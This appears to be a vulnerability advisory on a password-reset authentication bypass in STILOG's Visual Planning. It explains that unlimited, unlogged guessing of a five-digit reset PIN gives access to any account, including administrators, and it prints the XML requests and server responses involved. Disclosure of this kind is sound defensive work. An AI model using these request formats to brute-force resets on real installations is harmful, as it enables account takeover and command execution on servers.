Unauthenticated attackers can exploit a weakness in the password reset functionality of the Visual Planning application in order to obtain access to arbitrary user accounts including administrators. In case administrative (in the context of Visual Planning) accounts are compromised, attackers can install malicious modules into the application to take over the application server hosting the Visual Planning application. All versions prior to Visual Planning 8 (Build 240207) are affected.

Affected products/vendor  
========================

All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.

Summary  
=======

Unauthenticated attackers can exploit a weakness in the password reset   
functionality of the Visual Planning[0] application in order to obtain   
access to arbitrary user accounts including administrators. In case   
administrative (in the context of Visual Planning) accounts are   
compromised, attackers can install malicious modules into the   
application to take over the application server hosting the Visual   
Planning application.

Risk  
====

The application does not impose any limits on the number of guesses that   
can be made. Attackers can therefore initiate the reset for arbitrary   
users and automate the pin validation process until a valid pin is   
obtained. The vulnerability allows unauthenticated attackers to gain   
access to arbitrary user accounts including administrators.

Failed pin validation attempts are not logged by the application which   
greatly increases the difficulty of detecting ongoing attacks.

With administrative access to Admin Center, attackers can install   
malicious modules containing Java code that is executed on the   
application server, resulting in arbitrary command execution.

The entire pin space can be enumerated in approximately one to two hours.

Description  
===========

During a recent red teaming assessment, Visual Planning was identified   
as part of the customers internet-facing assets. The software is   
developed by STILOG I.S.T. and provides resource management and   
scheduling features. A security assessment conducted by SCHUTZWERK found   
an authentication bypass in Visual Planning's password reset functionality.  
The application Admin Center (vpadmin) communicates with the server   
through an XML-based protocol that utilizes proprietary compression   
methods and is transmitted via HTTP. SCHUTZWERK implemented a custom   
proxy as part of an assessment in order to intercept and manipulate the   
messages exchanged between application and server.

One of the first messages sent by the Admin Center application after   
launch is the following:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.NamedMethodParameter>  
<methodName>canResetPassword</methodName>  
<rawResult>false</rawResult>  
<userSession isNull="true"/>  
<values/>  
</com.visualplanning.query.NamedMethodParameter>

In this request, the client asks the server whether it should display   
the "Forgot your password ?" button as part of the login form. During   
the assessment, the server responded as follows:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.QueryResult>  
<resultValues>  
<HashtableValue>  
<key>resetPassword</key>  
<value class="java.lang.Boolean">false</value>  
</HashtableValue>  
</resultValues>  
<status>OK</status>  
</com.visualplanning.query.QueryResult>

By altering the value to "true", the password reset functionality   
becomes accessible in the application. At this point, attackers can   
provide the target username. This causes a request similar to the   
following to be issued:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.NamedMethodParameter>  
<methodName>sendResetPasswwd</methodName>  
<rawResult>false</rawResult>  
<userSession isNull="true"/>  
<values>  
<HashtableValue>  
<key>login</key>  
<value class="String">admin</value>  
</HashtableValue>  
</values>  
</com.visualplanning.query.NamedMethodParameter>

While handling this request, the server generates a five digit numeric   
pin and tries to send it to the email address associated with the   
provided username. Regardless of whether the email could be successfully   
transmitted, the generated pin is stored in a attribute of the session   
used while performing the reset. It should be noted that the password   
reset request message can be sent directly without enabling the button   
in the GUI if the message format is already known.

To complete the reset process, the correct pin (matching the pin stored   
in the session attribute) must be specified. A message similar to the   
following is issued by the application to validiate the provided pin:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.NamedMethodParameter>  
<methodName>validateResetPasswwd</methodName>  
<rawResult>false</rawResult>  
<userSession isNull="true"/>  
<values>  
<HashtableValue>  
<key>login</key>  
<value class="String">admin</value>  
</HashtableValue>  
<HashtableValue>  
<key>userCode</key>  
<value class="String">58344</value>  
</HashtableValue>  
</values>  
</com.visualplanning.query.NamedMethodParameter>

When an invalid pin is provided, the server responds with the following   
XML document:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.QueryResult>  
<resultValues>  
<HashtableValue>  
<key>ERROR</key>  
<value class="String">Invalid code.</value>  
</HashtableValue>  
</resultValues>  
<status>KO</status>  
</com.visualplanning.query.QueryResult>

In case the pin is valid, the server responds with a VPUser data   
structure similar to the following:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.QueryResult>  
<resultValues>  
<HashtableValue>  
<key>vpUser</key>  
<value class="com.visualplanning.data.admin.VPUser">  
<ID>1</ID>

</value>  
</HashtableValue>  
</resultValues>  
<status>OK</status>  
</com.visualplanning.query.QueryResult>

In addition, an empty password is set for the target username. Upon   
first login after reset, a new password must be set for this user.
